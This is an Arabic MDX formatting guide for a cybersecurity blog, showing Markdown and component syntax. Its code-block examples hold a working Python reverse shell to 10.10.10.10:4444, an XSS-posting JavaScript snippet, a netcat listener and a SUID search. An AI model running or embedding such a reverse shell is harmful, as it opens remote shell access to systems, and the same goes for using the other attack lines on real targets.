DNOTE (MDX Guide)

مرجع كامل لكيفية كتابة وتنسيق المقالات في المدونة: صور، فيديو، أكواد، والمزيد.

Knowledge BaseGuideMarkdown

دليل استخدام DNOTE الشامل

مرحباً بك في DNOTE - قاعدة المعرفة التقنية الشاملة. هذا الدليل سيكون مرجعك الكامل لكتابة وتنسيق المقالات باستخدام MDX، وهو نظام يدمج Markdown التقليدي مع قوة React Components.


1️⃣ تنسيق النصوص (Text Formatting)

النص العادي والتنسيقات الأساسية


1️⃣ تنسيق النصوص (Text Formatting)

النص العادي والتنسيقات الأساسية

الكود:

هذا نص عادي.
**هذا نص عريض (Bold)**.
*هذا نص مائل (Italic)*.
~~هذا نص مشطوب (Strikethrough)~~.
`هذا كود مضمّن (Inline Code)`.

النتيجة:

هذا نص عادي. هذا نص عريض (Bold). هذا نص مائل (Italic). هذا نص مشطوب (Strikethrough). هذا كود مضمّن (Inline Code).


إضافة ألوان مخصصة

Markdown لا يدعم الألوان بشكل افتراضي، لكن يمكنك استخدام HTML:

الكود:

<span style="color:#FF0055">نص أحمر (Offensive)</span>
<span style="color:#00F0FF">نص أزرق (Defensive)</span>
<span style="color:#39FF14">نص أخضر (Engineering)</span>
<span style="color:#FFD600">نص أصفر (Lab)</span>
<span style="color:#BF5AF2">نص بنفسجي (Knowledge)</span>

النتيجة:

نص أحمر (Offensive) نص أزرق (Defensive) نص أخضر (Engineering) نص أصفر (Lab) نص بنفسجي (Knowledge)

2️⃣ القوائم (Lists)

قائمة نقطية (Bullet Points)

الكود:

- العنصر الأول
- العنصر الثاني
- العنصر الثالث
- عنصر فرعي 1
- عنصر فرعي 2

النتيجة:

  • العنصر الأول
  • العنصر الثاني
  • العنصر الثالث
    • عنصر فرعي 1
    • عنصر فرعي 2

قائمة مرقمة (Numbered List)

الكود:

1. الخطوة الأولى
2. الخطوة الثانية
3. الخطوة الثالثة
1. خطوة فرعية أ
2. خطوة فرعية ب

النتيجة:

  1. الخطوة الأولى
  2. الخطوة الثانية
  3. الخطوة الثالثة
    1. خطوة فرعية أ
    2. خطوة فرعية ب

قائمة مهام (Task List)

الكود:

- [x] مهمة منجزة
- [ ] مهمة قيد التنفيذ
- [ ] مهمة مستقبلية

النتيجة:

  • مهمة منجزة
  • مهمة قيد التنفيذ
  • مهمة مستقبلية

3️⃣ الصور (Images)

صورة خارجية (External URL)

الكود:

![Kali Linux Logo](https://www.kali.org/images/kali-logo.svg)

النتيجة:

Kali Linux Logo


صورة محلية (Local Image)

الكود:

![DNOTE Logo](/img/common/logos/DNOTE_logo_B.web)

النتيجة:

DNOTE Logo


صورة باستخدام المكوّن Figure (مع Caption)

الكود:

<Figure
src="/img/common/logos/DNOTE_logo_B.webp"
alt="DNOTE Logo"
width={400}
caption="شعار DNOTE - القاعدة المعرفية التقنية"
/>

النتيجة:

DNOTE Logo
شعار DNOTE - القاعدة المعرفية التقنية

ملاحظة: جميع الصور تتكيف تلقائياً مع شاشات الموبايل (responsive).


رابط عادي

الكود:

[زيارة موقع GitHub](https://github.com)

النتيجة:

زيارة موقع GitHub


رابط مباشر (Direct URL)

الكود:

https://dnote.diyasiam.com

النتيجة:

https://dnote.diyasiam.com


رابط مع Tooltip

الكود:

[OWASP Top 10](https://owasp.org/www-project-top-ten/ "دليل أهم 10 ثغرات أمنية")

النتيجة:

OWASP Top 10


5️⃣ الفيديو (Multimedia)

تضمين فيديو YouTube

الكود:

<YouTubeEmbed
videoId="wHRnX1oN3ow"
title="مثال على فيديو YouTube"
caption="فيديو تعليمي حول استخدام Burp Suite"
/>

النتيجة:

فيديو تعليمي حول استخدام Burp Suite

نصيحة: احصل على الـ videoId من رابط اليوتيوب بعد v=


تضمين فيديو HTML مباشر (Responsive)

إذا أردت استخدام iframe مباشرة:

الكود:

<div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;border-radius:8px;">
<iframe
style="position:absolute;top:0;left:0;width:100%;height:100%;"
src="https://www.youtube.com/embed/wHRnX1oN3ow"
frameborder="0"
allowfullscreen
></iframe>
</div>

النتيجة:


6️⃣ كتل الأكواد (Code Blocks)

Python

الكود:

```python
def reverse_shell(ip, port):
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
reverse_shell("10.10.10.10", 4444)
```

النتيجة:

def reverse_shell(ip, port):
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
reverse_shell("10.10.10.10", 4444)

JavaScript

الكود:

```javascript
const exploit = async (target) => {
const payload = `<script>alert('XSS')</script>`;
const response = await fetch(target, {
method: 'POST',
body: JSON.stringify({ input: payload }),
headers: { 'Content-Type': 'application/json' }
});
return response.json();
};
exploit('https://vulnerable-site.com/api/submit');
```

النتيجة:

const exploit = async (target) => {
const payload = `<script>alert('XSS')</script>`;
const response = await fetch(target, {
method: 'POST',
body: JSON.stringify({ input: payload }),
headers: { 'Content-Type': 'application/json' }
});
return response.json();
};
exploit('https://vulnerable-site.com/api/submit');

Bash

الكود:

```bash
# Nmap Scan
nmap -sV -sC -p- -oN scan.txt 10.10.10.10
# Reverse Shell Listener
nc -lvnp 4444
# Privilege Escalation Check
find / -perm -u=s -type f 2>/dev/null
```

النتيجة:

Terminal window
# Nmap Scan
nmap -sV -sC -p- -oN scan.txt 10.10.10.10
# Reverse Shell Listener
nc -lvnp 4444
# Privilege Escalation Check
find / -perm -u=s -type f 2>/dev/null

7️⃣ الجداول (Tables)

الكود:

| الثغرة | الوصف | الخطورة |
|--------|-------|---------|
| SQL Injection | حقن استعلامات SQL ضارة | عالية |
| XSS | تنفيذ JavaScript في المتصفح | متوسطة |
| CSRF | تنفيذ طلبات نيابة عن المستخدم | متوسطة |

النتيجة:

الثغرةالوصفالخطورة
SQL Injectionحقن استعلامات SQL ضارةعالية
XSSتنفيذ JavaScript في المتصفحمتوسطة
CSRFتنفيذ طلبات نيابة عن المستخدممتوسطة

جدول مع محاذاة

الكود:

| الأداة | النوع | التكلفة |
|:-------|:-----:|--------:|
| Burp Suite | Web Testing | $399/year |
| Metasploit | Framework | Free |
| Wireshark | Network Analysis | Free |

النتيجة:

الأداةالنوعالتكلفة
Burp SuiteWeb Testing$399/year
MetasploitFrameworkFree
WiresharkNetwork AnalysisFree

8️⃣ الاقتباسات والتنبيهات (Blockquotes & Callouts)

اقتباس عادي

الكود:

> "الأمن السيبراني ليس منتجاً، بل هو عملية مستمرة."
> — Bruce Schneier

النتيجة:

“الأمن السيبراني ليس منتجاً، بل هو عملية مستمرة.” — Bruce Schneier


تنبيه (Note)

الكود:

> **📌 ملاحظة:** تأكد دائماً من الحصول على إذن كتابي قبل اختبار أي نظام.

النتيجة:

📌 ملاحظة: تأكد دائماً من الحصول على إذن كتابي قبل اختبار أي نظام.


تحذير (Warning)

الكود:

> **⚠️ تحذير:** تنفيذ هذا الأمر على نظام غير مصرح به يعد جريمة جنائية.

النتيجة:

⚠️ تحذير: تنفيذ هذا الأمر على نظام غير مصرح به يعد جريمة جنائية.


نصيحة (Tip)

الكود:

> **💡 نصيحة:** استخدم `tmux` لإدارة جلسات متعددة أثناء اختبار الاختراق.

النتيجة:

💡 نصيحة: استخدم tmux لإدارة جلسات متعددة أثناء اختبار الاختراق.


9️⃣ الفواصل (Horizontal Rules)

الكود:

---

النتيجة:


يمكنك استخدام ثلاث شرطات أو نجوم أو شرطات سفلية:

---
***
___

🔟 نصائح متقدمة

كتابة محتوى ثنائي اللغة (عربي/إنجليزي)

  • الكتابة بالعربي: النص يبدأ من اليمين تلقائياً.
  • الكتابة بالإنجليزي: النص يبدأ من اليسار تلقائياً.
  • مصطلحات تقنية: يُفضل كتابة المصطلحات التقنية بالإنجليزية داخل نص عربي:
استخدمنا أداة **Burp Suite** لاكتشاف ثغرة **SQL Injection** في الموقع.

استخدمنا أداة Burp Suite لاكتشاف ثغرة SQL Injection في الموقع.


استيراد المكوّنات

في بداية أي ملف MDX، يمكنك استيراد المكوّنات:

import Figure from "../../components/Figure.astro";
import YouTubeEmbed from "../../components/YouTubeEmbed.astro";

معلومات الملف (Frontmatter)

كل مقال يجب أن يبدأ بـ frontmatter:

---
title: "عنوان المقال"
description: "وصف مختصر للمقال"
createdAt: 2025-11-18
tags: ["Tag1", "Tag2", "Tag3"]
draft: false
---
  • title: عنوان المقال (يظهر في الصفحة الرئيسية).
  • description: وصف مختصر (يظهر في نتائج البحث).
  • createdAt: تاريخ النشر.
  • tags: الوسوم (لتصنيف المقالات).
  • draft: إذا كان true لن يظهر المقال في الموقع.

🎯 خلاصة الدليل

العنصرالاستخدامالمثال
Bold**نص**نص عريض
Italic*نص*نص مائل
Code`كود`const x = 1
صورة![alt](url)صورة عادية
Figure<Figure src="..." />صورة مع caption
YouTube<YouTubeEmbed videoId="..." />فيديو تفاعلي
رابط[نص](url)GitHub
قائمة- عنصر• عنصر
جدول| col | col |جدول منسق
اقتباس> نصنص مقتبس

📚 مراجع إضافية